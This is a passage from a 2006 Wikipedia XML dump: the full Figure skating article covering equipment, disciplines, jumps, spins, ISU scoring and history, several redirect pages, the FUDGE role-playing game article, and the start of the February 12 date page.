It should be noted that the discussion given here is only valid when the [[permeability (electromagnetism)|permeability]] &amp;mu; is equal to the vacuum permeability &amp;mu;&lt;sub&gt;0&lt;/sub&gt; in both media. This is true for most [[dielectric]] materials, but the completely general Fresnel equations are more complex.

[[Category:Optics]][[Category:Equations]]

[[de:Fresnelsche Formeln]]
[[ja:&amp;#12501;&amp;#12524;&amp;#12493;&amp;#12523;&amp;#12398;&amp;#24335;]]</text>
    </revision>
  </page>
  <page>
    <title>Figure skating</title>
    <id>11152</id>
    <revision>
      <id>42074433</id>
      <timestamp>2006-03-03T17:22:48Z</timestamp>
      <contributor>
        <username>Dr.frog</username>
        <id>75480</id>
      </contributor>
      <comment>add a real entry and link for &quot;special figures&quot;</comment>
      <text xml:space="preserve">{{commons|Category:Ice skating}}

'''Figure skating''' is a sporting event in which individuals, mixed couples, or groups perform spins, jumps, and other moves on ice, often to music. There are international competitions for figure skating, such as the [[World Figure Skating Championships|World Championships]], and figure skating is also an official event in the [[Winter Olympics]]. In languages other than English, figure skating is usually referred to by a name that translates as &quot;artistic skating&quot;.

The sport is closely associated with show business, and includes &quot;spectaculars&quot; in which performers skate unjudged, and the crowd pleasing routines at the end of competition held at many tournaments. Many skaters, both during and after their competitive careers, also skate in ice-skating exhibitions or shows. Many shows are run by individual clubs to show off their members' accomplishments.

==Equipment==
[[Image:Skate.jpg|thumb|left|A figure skate.]] 

Figure skates differ from [[ice hockey|hockey]] skates most visibly in having a set of large, jagged teeth called ''toe picks'' (also known as &quot;toe rakes&quot;) on the front of the blade. The toe picks are used primarily in jumping and should not be used for stroking or spins. Toe pick designs have become quite elaborate and sometimes include teeth on the sides of the blade.

The figure skating blade is curved from front to back with a radius of about 2 meters. Recently, [[parabolic figure skating blades]] have been designed to increase skaters' stability. The figure skate's blade is about 3/16 inch (4 mm) thick. The blade is also ''hollow ground''; a groove on the bottom of the blade creates two distinct edges, inside and outside. In figure skating it is always desirable to skate on only one edge of the blade, never on both at the same time (which is referred to as a ''flat''). The apparently effortless power and glide across the ice exhibited by elite figure skaters fundamentally derives from efficient use of the edges to generate speed.

Figure skating boots are traditionally made by hand from many layers of leather. In recent years, boots made of synthetic materials with heat-moldable linings have become popular with many skaters because they combine strength with lighter weight than leather boots, and are easier to &quot;break in&quot;. The latest development in boot technology is a boot that is hinged at the ankle to provide lateral support while allowing more flexibility.  Blades are mounted to the sole and heel of the boot with screws.

Typically, high-level figure skaters will be professionally fitted for their boots at a reputable skate shop in their area.

Other equipment used by skaters includes pads called butt pads or crash pads that are inserted into the pants or stockings and provide relief from the pain of hard falls, especially when learning new jumps.  Another piece of equipment is the guard, which is put on the blade when the skater must walk in his or her skates when not on the ice.  The guard protects the blade from dirt or material on the ground that may dull the blade.  Soft blade covers called soakers are used to absorb condensation and protect the blades from rust when the skates are not being worn.

Clothing worn while ice skating includes dresses and skirts for women.  For competition, these pieces of clothing can be heavily beaded or trimmed, and cost up to thousands of dollars if designed by a top level dress-maker.  For practice, figure skaters of both sexes usually wear [[leggings]] or tight fitting, flexible pants.  Tights are also worn with dresses and skirts and underneath leggings for extra warmth and aesthetic qualities. Women generally wear flesh-colored leggings under dresses and skirts; the costumes are thus less revealing than they at first appear. Competition outfits for skaters of both sexes, especially in ice dance, are often theatrical and revealing, in spite of repeated attempts to ban clothing that gives the impression of &quot;excessive       &quot; or that is otherwise inappropriate for athletic competition.

Some rinks use harness systems to help skaters learn jumps faster in a controlled manner.  The rink installs a heavy-duty cable that is securely attached to two walls of the rink.  A set of pulleys ride on the cable.  The skater wears a vest or belt that has a cable or rope attached to it.  That cable/rope is threaded through the movable pulley on the cable above.  The coach holds the other end of the cable and lifts the skater by pulling the cable/rope.  The skater can then practice the jump, with the coach assisting with the completion.

==Disciplines==
[[Image:Sonja henie 1924.jpg|thumb|Sonja Henie, Singles Women]]
[[Image:Ulrich Salchow.jpg|thumb|Ulrich Salchow, Singles Men]]
[[Image:Marigold IceUnity.jpg|thumb|right|250 px|Synchronized skating.]] 

International competitions in figure skating comprise the following disciplines:

* Singles competition for men and women (who are referred to as &quot;ladies&quot; in the official terminology of the sport).  Singles skaters must perform [[figure skating jump|jumps]], [[figure skating spin|spins]], and step sequences in their programs.

*[[Pair skating]] for teams consisting of a lady and a man.  Pairs perform singles elements in unison as well as pair-specific elements such as throw jumps, in which the male skater 'throws' the female into a jump; lifts, in which the female is held above the male's head in a number of different grips and positions; pair spins, in which both skaters spin together about a common axis; and death spirals, where the man in a pivot swings the lady around him on a deep edge in a position low to the ice.

*[[Ice dancing]], again for couples consisting of a lady and a man skating together.  Ice dance differs from pairs in focusing on difficult steps performed in close dance holds exactly to the beat of the music rather than acrobatic jumps, throws, and lifts.  In addition to free dances to music of their own choice, ice dancers must perform compulsory dances with fixed steps and patterns to standard [[ballroom dance]] rhythms.  In spite of the lack of obvious &quot;tricks&quot;, ice dance is considered by many to be the most technical and detailed of the skating disciplines.

*[[Synchronized skating]], for mixed-gender groups of 12 to 20 skaters. This discipline resembles a group form of ice dance with additional emphasis on precise formations of the group as a whole and complex transitions between formations.

Other disciplines of skating include:

*[[Compulsory figures]], in which skaters use their blades to draw circles, figure 8s, and similar shapes in ice, and are judged on the accuracy and clarity of the figures and the cleanness and exact placement of the various turns on the circles.  Figures were formerly included as a component of singles competitions but were eliminated from those events in 1990.  Today figures are rarely taught or performed.  The [[United States]] was the last country to retain a separate test and competitive structure for compulsory figures, but the last national-level figures championship was held in 1999.

*[[Moves in the field]] (known in the UK as field moves), which have replaced compulsory figures as a discipline to teach the same turns and edge skills in the context of fluid free skating movements instead of being constrained to artificially precise circles.

*Fours, a discipline that is to pairs as pairs is to singles.  A fours team consists of two men and two women who perform singles and pairs elements in unison as well as unique elements that involve all four skaters.

*Theatre on ice, also known as [[ballet on ice]] in Europe.  This is a form of group skating that is less structured than synchronized skating and allows the use of props and theatrical costuming.

*[[Adagio skating]], a form of pair skating most commonly seen in ice shows, where the skaters perform many spectacular acrobatic lifts but few or none of the singles elements which competitive pairs must perform.

*[[Special figures]], the tracing of elaborate original designs on the ice, common in the early days of skating.

==Jumps==

Jumps involve the skater leaping into the air and rotating rapidly to land after completing one or more rotations. There are many types of jumps, identified by the way the skater takes off and lands, as well as by the number of rotations that are completed. 

Most skaters rotate all their jumps in the counterclockwise direction.  Some prefer to rotate clockwise, and a very small number of skaters can perform jumps in both directions.  For clarity, all jumps will be described for the counterclockwise skater.

There are six major jumps in figure skating.  All six are landed on a right back outside edge (with counterclockwise rotation, for single and multi-revolution jumps), but have different takeoffs, by which they may be distinguished.  The two categories of jumps are toe jumps and edge jumps.  (Descriptions below are for counterclockwise rotation skaters; reverse for clockwise rotation jumps.)

Toe jumps are launched by tapping the toe pick of one skate into the ice, and include (in order of difficulty from easiest to hardest):

# [[Toe loop jump|Toe loop]]s take off from the back outside edge of the right foot and are launched by the left toe pick (toe walleys are similar, but take off from the back inside edge of the right foot);
# [[Toe walley]], some people mistakenly refer to a toe loop done from the outside three turn entrance with a change of foot as a toe walley; a true toe walley takes off from a back inside edge, not an outside edge;
# [[Flip jump|Flip]]s, which take off from the back inside edge of the left foot and are launched by the right toe pick;
# [[Lutz jump|Lutz]]es, which take off from the back outside edge of the left foot and are launched by the right toe pick. 

Edge jumps use no toe assist, and include:

# [[Salchow jump|Salchow]]s, which take off from a left back inside edge.  Swinging the opposite leg around helps launch the jump;
# [[Loop jump|Loop]]s (also known as Rittberger jumps) take off from a right back outside edge and land on the same edge;
# [[Axel jump|Axel]]s, which are the only jump to take off from a forward edge (the left outside edge).  Because they take off from a forward edge, they include one-half extra rotations and are usually considered the hardest jump of the six.  The similar jump with only half a rotation is called a [[waltz jump]] and is typically the first jump a skater learns.

The number of rotations performed in the air for each jump determines whether the jump is a single, double, triple, or quad.  Most elite male skaters perform triples and quads as their main jumps, while most elite female skaters perform all the triples except the axel, which is usually double.  Only a handful of female skaters have successfully landed triple axels in competition.

One variation, known as the ''Tano'', is far more difficult than a normal jump because the jumper keeps one arm raised above his or her head while jumping. The name is derived from [[Brian Boitano]], who made a triple lutz with an upraised arm his signature jump.

There are also a number of other jumps which are usually performed only as single jumps and are typically used as transitional movements or highlights in step sequences.  These include:

#[[Loop jump|Half Loop]]s, which take off from a right back outside edge like a loop, but land on the left back inside edge;
#[[Half Flip]], a half-rotation jump with a flip entrance, typically landed on the left toe pick and right forward inside edge for a counterclockwise jump.
#[[Walley jump]]s, which takes off from a right back inside edge. It is debatably more difficult than the axel, because the flow of the inside edge is clockwise and opposes the counterclockwise rotation in the air;
#[[Split jump]]s, which are half-rotation jumps based on a flip, lutz, or loop entrance;
# [[Waltz jump]] The similar [[Axel jump]] with only half a rotation is called a is typically the first jump a skater learns
#[[Axel jump|Inside axel]]s, one-and-a-half-rotation jumps that take off from the right forward inside edge;
#[[Axel jump|One-foot axel]]s, one-and-a-half-rotation jumps with a regular axel takeoff from the left forward outside edge, but landing on the left back inside edge.

In addition to jumps performed singly, jumps may also be performed in combination or in sequence.

For a set of jumps to be considered a combination, each jump must take off from the landing edge of the previous jump, with no steps, turns, or change of edge in between jumps.  This limits all jumps except the first to toe loops and loops (which take off from the right back outside edge on which the basic six jumps are landed).  In order to use other jumps on the back end of a combination, connecting jumps such as a half loop (which is actually a full rotation, but lands on a left back inside edge) can be used, enabling the skater to put a salchow or flip at the end of the combination.

Jump sequences are sets of jumps which may involve steps or changes of edge between the jumps.

==Spins==

There are also several types of spins, identified by the position of the arms, legs, and angle of the back.  Spins are done on the round part of the blade, just behind the toe pick. The round part of the blade is called the ball of the foot. (Contrary to popular thought, spins are NOT done on the toe picks -- they're mainly for jumps.)

Spins may be performed on either foot.  For skaters who rotate in a counterclockwise direction, a spin on the left foot is called a ''forward'' spin, while a spin on the right foot is called a ''back'' spin.  

*[[Scratch spin]]

*[[Upright spin]] (or corkscrew spin), in which a skater maintains a vertical position, often with the free leg crossed in front of the skating leg.  A fast spin in this position is known as a scratch spin.

*[[Camel spin]] (also known as a parallel spin), in which the skater assumes an &quot;airplane&quot; position (or spiral position) with the free leg extended behind at hip level, parallel to the ice surface.

*[[Sit spin]], in which the knee of the skating leg bent very low, and the free leg stretched out in front, parallel to the ice.

*[[Crossfoot spin]]s, an upright spin in which the free leg is crossed behind the skating foot.

*[[Layback spin]]s, in which the skater bends backward gracefully and positions arms artistically.

*[[Catch-the-foot]] spins

*[[Biellmann spin]]s, where the skater pulls free leg from behind her (or very rarely him), over the head. She (or he) usually holds onto the blade of the skate. (Obviously, this requires extreme flexibility.) Named after [[Denise Biellmann]], 1981 ladies' world champion from [[Switzerland]].

*[[Doughnut spin]]s, a variation of a back camel spin where the skater pulls the blade of the skate of the free leg backward with one or both arms while arching the back to create a horizontal circular shape with the body.

*[[Death drop spin]]s

*[[Butterfly spin]]s

*Other spins where the skater extends the free leg in front or to the side in a split or near-split position. 

''Flying'' spins are spins that are initiated with a jump.  These include the flying camel, flying sit spin, death drop, and butterfly spin. Usually, they go from a forward spin, to a back spin.

==Steps and turns==

Step sequences are a required element in competition programs. They involve a combination of turns, steps, hops and edge changes, performed in a straight line down the ice, in a circle, or in an S shape (serpentine step sequence).

The various turns which skaters can incorporate into step sequences include:

*[[3 turn|Three turns]], so called because the blade turns into the curve of the edge or lobe to leave a tracing resembling the numeral &quot;3&quot;.  

*[[Bracket turn]]s, in which the blade is turned counter to the curve of the lobe, making a tracing resembling a bracket (&quot;}&quot;).

*[[Rocker turn|Rockers]] and [[counter turn|counters]], one-foot turns that involve a change of lobe as well as of direction.

*[[Mohawk turn|Mohawk]]s, the two-foot equivalents of three turns and brackets.

*[[Choctaw turn|Choctaw]]s, the two-foot equivalents of rockers and counters.

*[[Twizzle]]s, travelling multi-rotation turns on one foot

[[spiral (figure skating)|Spiral]] sequences are also required (in women's skating only), and involve lifting the free leg above the hip to a position equivalent of the arabesque in ballet, or the scale in gymnastics. Spirals can be performed while skating forwards or backwards, and are distinguished by the edge of the blade used and the foot they are skated on.

Other freeskating movements which can be incorporated into step sequences or used as connecting elements include lunges and [[spread eagle (figure skating)|spread eagles]]. An [[Ina Bauer (element)|Ina Bauer]] is similar to a spread eagle performed with one knee bent and typically an arched back. Hydroblading refers to a deep edge performed with the body as low as possible to the ice in a near-horizontal position.

== Competition format and scoring ==

The [[International Skating Union|International Skating Union]] (ISU) is the governing body for international competitions. The ISU oversees the World Championships and the figure skating events at the [[Winter Olympic Games]].

In singles and pairs figure skating competition, competitors must perform two routines, the &quot;short program&quot;, in which the skater must complete a list of required elements consisting of jumps, spins and steps; and the &quot;free skate&quot; or &quot;long program&quot;, in which the skaters have slightly more choice of elements.  Ice dancing competitions usually consist of three phases: one or more &quot;compulsory dances&quot;; an &quot;original dance&quot; to a ballroom rhythm that is designated annually; and a &quot;free dance&quot; to music of the skaters' own choice.

Skating was formerly judged for &quot;technical merit&quot; (in the free skate), &quot;required elements&quot; (in the short program), and &quot;presentation&quot; (in both programs). The marks for each program ran from 0.0 to 6.0 and were used to determine a preference ranking, or &quot;ordinal&quot;, separately for each judge; the judges' preferences were then combined to determine placements for each skater in each program. The placements for the two programs were then combined, with the free skate placement weighted more heavily than the short program. The lowest scoring individual (based on the sum of the weighted placements) was declared the winner.

In 2004, after the [[2002 Olympic Winter Games figure skating scandal|judging controversy]] during the [[2002 Winter Olympics]], the ISU adopted a new judging system called the New Judging System (NJS) or Code of Points which became mandatory at all international competitions in 2006, including the [[2006 Winter Olympics]]. 

Under the new system, technical marks are awarded individually for each skating element. Competitive programs are constrained to have a set number of elements. Each element is judged first by a technical specialist who identifies the specific element. The technical specialist uses instant replay video to verify things that distinguish different elements; e.g. the exact foot position at take-off and landing of a jump. The decision of the technical specialist determines the base value of the element. A panel of twelve judges then award a mark for grade of execution (GOE) that is an integer from -3 to +3. The GOE mark is then translated into a value by using the table of values in ISU rule 322. The GOE value from the twelve judges is then averaged by randomly selecting nine judges, discarding the high and low value, and averaging the remaining seven. This average value is then added (or subtracted) from the base value to get the value for the element.  

The number and type of elements in a skating program depends on the event and on the level of competition. At the senior international level, single and pairs short programs contain eight technical elements. The actual eight elements are detailed for single skaters in ISU rule 310. Each skater must attempt one combination jump, two solo jumps, three spins, and two skating sequences. The eight elements required for a senior pairs short program include two lifts, two jumps, two spins, one step sequence, and one death spiral (ISU rule 313).

Free programs have 14 elements for pairs and men, and 13 elements for ladies. The details of the elements are given by ISU rules 320 and 321. Pairs do 4 lifts, 4 jumps, and 6 spins, steps, or spirals.  Men do 8 jumps, and 6 spins or step sequences. Ladies do 7 jumps and 6 spins, steps or spirals.

Jumps done in combination are marked as a single element, with a base mark equal to the sum of the base marks for the individual jumps. However, a combination can be downgraded to a &quot;sequence&quot;, in which case the base value is 0.8 times the sum of the individual jumps. The jumps normally executed at the senior level, and their base values, are quad toe loop (9), triple Axel (7.5), triple Lutz (6), triple flip (5.5), triple loop (5), triple Salchow (4.5), triple toe loop (4) and double Axel (3.3).

The former presentation mark has been replaced by five categories, called program components. The components are (1) skating skills, (2) transitions, (3) performance, (4) choreography, and (5) interpretation. A detailed description of each component is given in ISU rule 322.2. Each component is awarded a raw mark from 0 to 10, with a mark of 5 being defined as &quot;average&quot;. The five raw marks are then translated into a program mark by multiplying by a factor that depends on the program and the level.

For senior ladies, the factor is 0.8 for the short program and 1.6 for the long program. The factors are set so that the total score from the artistic marks will be about equal to the total score from technical marks. 

Judging in figure skating is inherently subjective. Although there may be general consensus that one skater &quot;looks better&quot; than another, it is difficult to get agreement on what it is that causes one skater to be marked as 5.5 and another to be 5.75 for a particular program component. As judges, coaches, and skaters get more experience with the new system, there may emerge more consensus. However, for the 2006 Olympics there were cases of 1 to 1.5 points differences in component marks from different judges.  This range of difference implies that &quot;observer bias&quot; determines about 20% of the mark given by a judge. Averaging over many judges reduces the effect of this bias in the final score, but there will remain about a 2% spread in the average artistic marks from the randomly selected subsets of judges.     

Ice dancing judging is similar to pairs and singles, but uses a separate set of rules and table of values. In the compulsory dance, steps are specified and &quot;elements&quot; are defined for each dance as subsets of the prescribed steps. For compulsory dance only, there is no artistic mark given for choreography. Instead the marks for skating skills and transitions are multiplied by 1.5.  In original dance there are 5 marked technical elements. In the free dance, there are 9 marked technical elements.

The new judging system moves ice skating closer to judging systems used in sports like diving and gymnastics. It also has some features intended to make judging more resistent to pressure by special interests. However, there are many who question whether the new system is actually any better than the old. Under the ISU rules, the judges' marks are anonymous, which removes any public accountability of the judges for their marks. The random panel selection procedure can change a skater's mark by several points and alter the outcome of competitions depending on which subset of judges are chosen. The US Figure Skating association has split with the ISU on these these two issues. In the US, the judges names remain associated with the marks. Also the US uses only nine judges and counts all nine.  Another issue that has appeared in the press is that the sport is still ruled by the same people, and still subject to bias and pressure from invisible insiders. Another problem is that the new system excessively constrains the content of skaters' programs and reduces creativity. Still, another complaint is that the technical specialist has too much power to control skaters' scores.  

There are also skating competitions organized for professional skaters by independent promoters. These competitions use judging rules set by whoever organizes the competition. There is no &quot;professional league&quot;.

The [[Ice Skating Institute]] (ISI), an international ice rink trade organization, runs its own competitive and test program aimed at recreational skaters. Originally headquartered in Minnesota, the organization now operates out of Dallas, Texas. ISI competitions are open to any member that have registered their tests. There are very few &quot;qualifying&quot; competitions, although some districts hold &quot;Gold Competitions&quot; for that season's first-place winners. ISI competitions are especially popular in Asian countries that do not have established ISU member federations. The [[Gay Games]] have also included skating competitions for same-gender pairs and dance couples under ISI sponsorship. Other figure skating competitions for adults also attract participants from diverse cultures and sexual orientations.

== History ==

While people have been [[ice skating]] for centuries, figure skating in its current form originated in the mid-19th century.  
''[[A Treatise on Skating]]'' (1772) by Englishman Robert Jones, is the first known account of figure skating. The form of skating originally had a cramped and formal style until American skater [[Jackson Haines]] (considered the &quot;father of figure skating&quot;) introduced his free and expressive techniques in the mid-1860s. Although popular in Europe, Haine's &quot;International style&quot; did not come to the United States until long after his death. 

The [[International Skating Union]] was founded in [[1892]]. The first European Championship --for men only--- was held in [[1891]] and the first World Championship -- for men only -- was held in [[1896]] and won by [[Gilbert Fuchs]].  In [[1902]], a woman, [[Madge Syers]], entered the competition for the first time, finishing second.  The ISU quickly banned women from competing against men, but established a separate competition for &quot;ladies&quot; in [[1906]].  Pairs skating was introduced at the [[1908]] World Championships, when the title was won by [[Anna Hübler]] &amp; [[Heinrich Burger]]. The first Olympic figure skating competitions also took place in [[1908]].

On [[March 20]], [[1914]] an international figure skating championship was held in [[New Haven, Connecticut]] which was the ancestor of both the [[United States]] and Canadian national championships.  However, international competitions in figure skating were interrupted by [[World War I]].

In the 1920s and 1930s, figure skating was dominated by [[Sonja Henie]], who turned competitive success into a lucrative professional career as a movie star and touring skater.  Henie also set the fashion for female skaters to wear short skirts and white boots.  The top male skaters of this period included [[Gillis Grafström]] and [[Karl Schäfer]].

Skating competitions were again interrupted for several years by [[World War II]].  After the war, with many European rinks in ruins, skaters from the [[United States]] and [[Canada]] began to dominate international competitions and to introduce technical innovations to the sport.  [[Dick Button]], 1948 and 1952 Olympic Champion, was the first skater to perform the double axel and triple loop jumps, as well as the flying camel spin.  

The first World Championships in ice dancing were not held until 1952. In its first years, ice dance was dominated by British skaters. The first World title holders were [[Jean Westwood]] &amp; [[Lawrence Demmy]].

On [[February 15]], [[1961]], the entire US figure skating team and their coaches were killed in the crash of [[Sabena Flight 548]] in [[Brussels|Brussels, Belgium]] en route to the World Championships in [[Prague]].  This tragedy sent the US skating program into a period of rebuilding.

At the same time, the [[Soviet Union]] rose to become a dominant power in the sport, especially in the disciplines of pairs skating and ice dancing. At every Winter Olympics from 1964 until the present day, a Soviet or Russian pairs duo has won gold, often considered the longest winning streak in modern sports history. (In 2002, Russians [[Yelena Berezhnaya]] and [[Anton Sikharulidze]] shared gold with Canadians [[Jamie Sale]] and [[David Pelletier]], keeping the streak alive.)

[[Compulsory figures]] formerly accounted for up to 60% of the score in singles figure skating, which meant that skaters who could build up a big lead in figures could win competitions even if they were mediocre free skaters.  As [[television]] coverage of skating events became more important, so did free skating.  Beginning in [[1968]], the ISU began to progressively reduce the weight of figures, and in [[1973]], the short program was introduced.  With these changes, the emphasis in competitive figure skating shifted to increasing athleticism in the free skating.  By the time figures were finally eliminated entirely from competition in [[1990]], [[Midori Ito]] had landed the first triple axel by a woman, and [[Kurt Browning]] the first quadruple jump by a man.

[[Television]] also played a role in removing the restrictive [[amateurism|amateur]] status rules that once governed the sport.  In order to retain skaters who might otherwise have given up their eligibility to participate in lucrative professional events, in [[1995]] the ISU introduced prize money at its major competitions, funded by revenues from selling the TV rights to those events.

Figure skating is a very popular part of the Winter Olympic Games, in which the elegance of both the competitors and their movements attract many spectators. Not surprisingly, the best skaters show many of the same physical and psychological attributes as gymnasts. Many of the best skaters currently come from [[Russia]] and the [[United States]] which are traditional powers in the sport.

== Notable figure skaters ==
See [[Olympic medalists in figure skating]], [[World Figure Skating Championships]], [[European Figure Skating Championships]] and [[:category:Figure skaters|Figure skaters]].

==See also==
*[[Artistic roller skating]]
*[[Winter sport]]
*[[Winter Olympic Games]]


==References==

*[http://www.isu.org/vsite/vnavsite/page/directory/0,10853,4844-153889-171105-nav-list,00.html ISU Regulations]

==External links==
*[http://www.balletforfigureskaters.com Ballet for Figure Skaters]
*[http://www.isu.org International Skating Union]
*[http://www.skateisi.com Ice Skating Institute]
*[http://www.skatecanada.ca Skate Canada]
*[http://www.usfsa.org US Figure Skating]
*[http://www.chnfs.org Chinese Figure Skating]
*[http://www.worldskatingmuseum.org/ Official Site World Skating Museum and Hall of Fame]
*[http://www.usolympicteam.com/21.htm#sport11852 '''2006 U.S. Olympic Figure Skating bios''']
*[http://www.pfsa.com.pl Polish Figure Skating Assotiation]
*[http://www.frogsonice.com/skateweb/ SkateWeb]
*[http://www.fsuniverse.net Figure Skating Universe]
*[http://www.eskatefans.com/skatabase/ Skatabase]
*[http://www.goldenskate.com/ Golden Skate]
*[http://www.isa.org.au/ Ice Skating Australia]
*[http://www.caretoicedance.com/ Care to Ice Dance?]
*[http://www.marylandiceskating.com/ Ice Skating in Maryland, USA]

==Navigation==

===Men===
{{NavigationOlympicChampionsFigureSkatingMen}}
{{NavigationWorldChampionsFigureSkatingMen}}
{{NavigationEuropeanChampionsFigureSkatingMen}}
{{NavigationFourContinentChampionsFigureSkatingMen}}

===Ladies===
{{NavigationOlympicChampionsFigureSkatingLadies}}
{{NavigationWorldChampionsFigureSkatingLadies}}
{{NavigationEuropeanChampionsFigureSkatingLadies}}
{{NavigationFourContinentChampionsFigureSkatingLadies}}
===Pairs===
{{NavigationOlympicChampionsFigureSkatingPairs}}
{{NavigationWorldChampionsFigureSkatingPairs}}
{{NavigationEuropeanChampionsFigureSkatingPairs}}
{{NavigationFourContinentChampionsFigureSkatingPairs}}
===Ice Dance===
{{NavigationOlympicChampionsFigureSkatingIcedance}}
{{NavigationWorldChampionsFigureSkatingIcedance}}
{{NavigationEuropeanChampionsFigureSkatingIcedance}}
{{NavigationFourContinentChampionsFigureSkatingIcedance}}

[[Category:Figure skating| ]]
[[Category:Winter Olympic events]]

{{link FA|eo}}

[[cs:Krasobruslení]]
[[de:Eiskunstlauf]]
[[et:Iluuisutamine]]
[[es:Patinaje artístico sobre hielo]]
[[eo:Arta sketado]]
[[fr:Patinage artistique]]
[[it:Pattinaggio di figura]]
[[nl:Kunstschaatsen]]
[[ja:フィギュアスケート]]
[[pl:Łyżwiarstwo figurowe]]
[[ro:Patinaj artistic]]
[[ru:Фигурное катание]]
[[simple:Figure skating]]
[[sk:Krasokorčuľovanie]]
[[fi:Taitoluistelu]]
[[sv:Konståkning]]
[[th:สเก็ตลีลา]]
[[zh:花樣滑冰]]</text>
    </revision>
  </page>
  <page>
    <title>Friedrich von Hayek</title>
    <id>11153</id>
    <revision>
      <id>21811630</id>
      <timestamp>2005-08-25T16:02:47Z</timestamp>
      <contributor>
        <username>PWhittle</username>
        <id>281241</id>
      </contributor>
      <comment>rv move to &quot;Friedrich von Hayek&quot;; see talk page about use of &quot;von&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Friedrich Hayek]]</text>
    </revision>
  </page>
  <page>
    <title>First Arab-Israeli War</title>
    <id>11154</id>
    <revision>
      <id>15908918</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Uriyan</username>
        <id>64</id>
      </contributor>
      <comment>REDIRECT 1948 Arab-Israeli War</comment>
      <text xml:space="preserve">#REDIRECT [[1948 Arab-Israeli War]]</text>
    </revision>
  </page>
  <page>
    <title>Farming</title>
    <id>11156</id>
    <revision>
      <id>39547380</id>
      <timestamp>2006-02-14T05:25:40Z</timestamp>
      <contributor>
        <username>Jason catlin</username>
        <id>899974</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">#REDIRECT [[Agriculture]]</text>
    </revision>
  </page>
  <page>
    <title>FUDGE</title>
    <id>11157</id>
    <revision>
      <id>41960349</id>
      <timestamp>2006-03-02T22:14:08Z</timestamp>
      <contributor>
        <username>Cyberia23</username>
        <id>35289</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''For other possible meanings, see [[Fudge (disambiguation)]]''

{{Infobox RPG
|title=FUDGE
|image=
|caption=
|designer=Steffan O'Sullivan
|publisher=Grey Ghost Press
|date=1992
|genre=Universal
|system=Custom
|footnotes=
}}

'''FUDGE''', the '''Freeform Universal Do-it-yourself Gaming Engine''', is a [[Generic role-playing game system|generic]] [[role-playing game]]. Aptly described as a gaming engine, FUDGE comes with neither a preset world nor a preset list of attributes for characters. [[Game master]]s, players, and world builders are free to invent appropriate attributes tailored to the campaign.

FUDGE was concieved by Steffan O'Sullivan on [[17 November]] [[1992]], and written with extensive help from the rec.games.design community. The [http://fudgerpg.com/files/pdf/fudge_1995.pdf PDF of the 1995 version] of the game is available for free. Grey Ghost Press published a printed version of the game, &quot;FUDGE Expanded Edition,&quot; which includes a basic fantasy setting, along with other support material for the game. The new 10th Anniversary Edition is a 320-page hardcover edition.

==FUDGE mechanics== 

&quot;Traits&quot; in Fudge, which consist of [[attribute (role-playing games)|Attributes]], [[skill (role-playing)|Skills]], Gifts, and Faults, are rated on an ascending verbal scale: Terrible, Poor, Mediocre, Fair, Good, Great, Superb, and Legendary. FUDGE uses customized six-sided &quot;FUDGE [[dice]]&quot; with two plus signs, two minus signs, and two blank sides (or &quot;solid&quot; sides). A number of these dice are rolled together, usually 4 or &quot;4dF&quot; in FUDGE notation, to produce a result from -4 through +4. This result is applied to the appropriate Trait with the goal of matching or surpassing the Difficulty Level of the test. There are also several alternative dice systems available that use regular six-sided dice or ten-sided dice.

==FUDGE resources==

Many FUDGE resources, from alternative rules to campaign information to world books, are available online. The Grey Ghost Games site links to many of them.

The rules of FUDGE are highly simplified, and the main FUDGE documents encourage players to &quot;Just Fudge It&quot;; that is, to focus on the story being created rather than on the game rules. It encourages players to first write prose descriptions of their characters then translate those into FUDGE Traits.

One of the keys to the success of Fudge is that the author released it under a license that made it essentially &quot;open&quot; for non-commercial use. In [[March 2004]], Grey Ghost acquired the copyright of FUDGE, and in [[April 6]], [[2005]], they released a version of FUDGE under [[Open Gaming License]]. The OGL license has allowed the [[FATE (role-playing game)|FATE role-playing game]] to use FUDGE as its underlying mechanic.

==External links==

*[http://www.fudgerpg.com/ FudgeRPG.com]
*[http://www.panix.com/~sos/rpg/fud-des.html Fudge Designer's notes]
*[http://groups.google.com/group/rec.games.design/msg/4dc266facabc766f Usenet post detailing net.rpg.freeform (1 of 2)] [http://groups.google.com/group/rec.games.design/msg/03ec8dc478bdc253 (2 of 2)]

[[Category:Universal role-playing games]]
[[Category:Role-playing game systems]]

[[de:FUDGE]]
[[es:Fudge]]
[[fr:Fudge]]
[[it:Fudge]]
[[pl:FUDGE]]</text>
    </revision>
  </page>
  <page>
    <title>February 12</title>
    <id>11158</id>
    <revision>
      <id>42114564</id>
      <timestamp>2006-03-03T22:40:26Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ added nationality</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=12}}
|}
'''February 12''' is the 43rd day of the year in the [[Gregorian Calendar]]. There are 322 days remaining, 323 in [[leap year]]s.
==Events==
* [[1354]] - [[Treaty of Stralsund]] settles border disputes between the [[duchies]] of [[Mecklenburg]] and [[Pomerania]].
* [[1541]] - [[Santiago, Chile]] is founded by [[Pedro de Valdivia]].
* [[1554]] - A year after claiming the throne of [[England]] for nine days, [[Jane of England|Lady Jane Grey]] is beheaded for treason. 
* [[1689]] - The [[Convention Parliament]] convenes and declares that the flight to [[France]] in [[1688]] by [[James II of England|James II]], the last [[Catholic]] [[British monarchy|British monarch]], constitutes an [[abdication]].
* [[1719]] - The [[Onderlinge van 1719 u.a.]], the oldest existing life insurance company in [[the Netherlands]] is founded.
* [[1733]] - [[Englishman]] [[James Oglethorpe]] founds the 13&lt;sup&gt;th&lt;/sup&gt; and final [[United States|American]] colony of [[Georgia (U.S. state)|Georgia]], and its first city at [[Savannah, Georgia|Savannah]].  
* [[1737]] - The [[San Carlo]], the oldest working [[opera house]] in [[Europe]], is inaugurated.
* [[1771]] - [[Gustav III of Sweden|Gustav III]] becomes the [[Monarch of Sweden|King of Sweden]] when his father [[Adolf Frederick of Sweden|Adolf Frederick]] &quot;&lt;nowiki&gt;[eats]&lt;/nowiki&gt; himself to death&quot;.
* [[1817]] - Argentine/[[Chile]]an patriotic army, after crossing the Andes, defeat [[Spanish]] troops on the [[battle of Chacabuco]].
* [[1818]] - [[Bernardo O'Higgins]] signs the [[Independence]] of [[Chile]] near [[Concepcion, Chile|Concepción]].
